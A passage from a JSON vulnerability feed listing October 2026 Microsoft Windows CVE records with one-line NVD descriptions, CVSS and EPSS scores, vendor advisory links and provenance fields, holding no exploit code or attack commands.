2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70108&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70108, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70106","cveId":"CVE-2026-70106","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Kernel allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows Kernel allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows Kernel allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:22.223Z","updatedAt":"2026-10-21T15:10:46.570Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70106","asOf":"2026-10-21T15:10:46.570Z"},"epss":{"probability":0.00499,"percentile":0.42491,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70106&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70106","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70106","type":"primary","publishedAt":"2026-10-13T19:19:22.223Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70106","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70106&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70106, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70104","cveId":"CVE-2026-70104","aliases":[],"kind":"vulnerability","title":"Untrusted pointer dereference in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.","summary":"Untrusted pointer dereference in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.","detail":"Untrusted pointer dereference in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:22.070Z","updatedAt":"2026-10-21T15:12:42.333Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1809","stacks":["Microsoft Windows","windows 10 1809"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70104","asOf":"2026-10-21T15:12:42.333Z"},"epss":{"probability":0.00423,"percentile":0.36338,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70104&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70104","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70104","type":"primary","publishedAt":"2026-10-13T19:19:22.070Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70104","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70104&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70104, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70103","cveId":"CVE-2026-70103","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Error Reporting allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows Error Reporting allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows Error Reporting allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:21.903Z","updatedAt":"2026-10-21T15:13:14.660Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70103","asOf":"2026-10-21T15:13:14.660Z"},"epss":{"probability":0.00395,"percentile":0.33384,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70103&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70103","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70103","type":"primary","publishedAt":"2026-10-13T19:19:21.903Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70103","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70103&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70103, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70102","cveId":"CVE-2026-70102","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Spaceport.sys allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Spaceport.sys allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Spaceport.sys allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:21.750Z","updatedAt":"2026-10-21T15:14:00.303Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1809","stacks":["Microsoft Windows","windows 10 1809"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70102","asOf":"2026-10-21T15:14:00.303Z"},"epss":{"probability":0.00379,"percentile":0.31578,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70102&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70102","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70102","type":"primary","publishedAt":"2026-10-13T19:19:21.750Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70102","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70102&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70102, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70095","cveId":"CVE-2026-70095","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows iSCSI allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Windows iSCSI allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Windows iSCSI allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:21.237Z","updatedAt":"2026-10-21T15:15:10.097Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70095","asOf":"2026-10-21T15:15:10.097Z"},"epss":{"probability":0.00632,"percentile":0.49984,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70095&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70095","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70095","type":"primary","publishedAt":"2026-10-13T19:19:21.237Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70095","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70095&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70095, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70093","cveId":"CVE-2026-70093","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Rich Text Edit Control allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows Rich Text Edit Control allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows Rich Text Edit Control allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:21.060Z","updatedAt":"2026-10-21T13:55:52.070Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70093","asOf":"2026-10-21T13:55:52.070Z"},"epss":{"probability":0.00379,"percentile":0.31578,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70093&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70093","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70093","type":"primary","publishedAt":"2026-10-13T19:19:21.060Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70093","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70093&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70093, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70092","cveId":"CVE-2026-70092","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Microsoft PostScript Printer Driver allows an unauthorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Microsoft PostScript Printer Driver allows an unauthorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Microsoft PostScript Printer Driver allows an unauthorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:20.883Z","updatedAt":"2026-10-21T13:26:39.387Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70092","asOf":"2026-10-21T13:26:39.387Z"},"epss":{"probability":0.00475,"percentile":0.40782,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70092&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70092","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70092","type":"primary","publishedAt":"2026-10-13T19:19:20.883Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70092","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70092&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70092, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70082","cveId":"CVE-2026-70082","aliases":[],"kind":"vulnerability","title":"Uncaught exception in Windows DNS allows an unauthorized attacker to deny service over a network.","summary":"Uncaught exception in Windows DNS allows an unauthorized attacker to deny service over a network.","detail":"Uncaught exception in Windows DNS allows an unauthorized attacker to deny service over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:19.657Z","updatedAt":"2026-10-16T17:37:06.617Z","regions":["Global"],"vendor":"microsoft","product":"windows server 2012","stacks":["Microsoft Windows","windows server 2012"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70082","asOf":"2026-10-16T17:37:06.617Z"},"epss":{"probability":0.0133,"percentile":0.70838,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70082&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70082","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70082","type":"primary","publishedAt":"2026-10-13T19:19:19.657Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70082","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70082&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70082, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70079","cveId":"CVE-2026-70079","aliases":[],"kind":"vulnerability","title":"Improper enforcement of behavioral workflow in Windows DNS allows an unauthorized attacker to deny service over a network.","summary":"Improper enforcement of behavioral workflow in Windows DNS allows an unauthorized attacker to deny service over a network.","detail":"Improper enforcement of behavioral workflow in Windows DNS allows an unauthorized attacker to deny service over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:19.510Z","updatedAt":"2026-10-16T17:37:48.360Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70079","asOf":"2026-10-16T17:37:48.360Z"},"epss":{"probability":0.01273,"percentile":0.69689,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70079&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70079","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70079","type":"primary","publishedAt":"2026-10-13T19:19:19.510Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70079","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70079&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70079, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70045","cveId":"CVE-2026-70045","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Work Folders allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Work Folders allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Work Folders allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:15.203Z","updatedAt":"2026-10-16T19:15:55.537Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1809","stacks":["Microsoft Windows","windows 10 1809"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70045","asOf":"2026-10-16T19:15:55.537Z"},"epss":{"probability":0.003,"percentile":0.22444,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70045&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70045","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70045","type":"primary","publishedAt":"2026-10-13T19:19:15.203Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70045","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70045&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70045, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70038","cveId":"CVE-2026-70038","aliases":[],"kind":"vulnerability","title":"Use after free in Windows iSCSI allows an unauthorized attacker to execute code over a network.","summary":"Use after free in Windows iSCSI allows an unauthorized attacker to execute code over a network.","detail":"Use after free in Windows iSCSI allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:14.650Z","updatedAt":"2026-10-16T19:13:59.703Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70038","asOf":"2026-10-16T19:13:59.703Z"},"epss":{"probability":0.00747,"percentile":0.5456,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70038&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70038","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70038","type":"primary","publishedAt":"2026-10-13T19:19:14.650Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70038","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70038&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70038, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70033","cveId":"CVE-2026-70033","aliases":[],"kind":"vulnerability","title":"Missing release of memory after effective lifetime in Remote Desktop Gateway Service allows an unauthorized attacker to deny service over a network.","summary":"Missing release of memory after effective lifetime in Remote Desktop Gateway Service allows an unauthorized attacker to deny service over a network.","detail":"Missing release of memory after effective lifetime in Remote Desktop Gateway Service allows an unauthorized attacker to deny service over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and 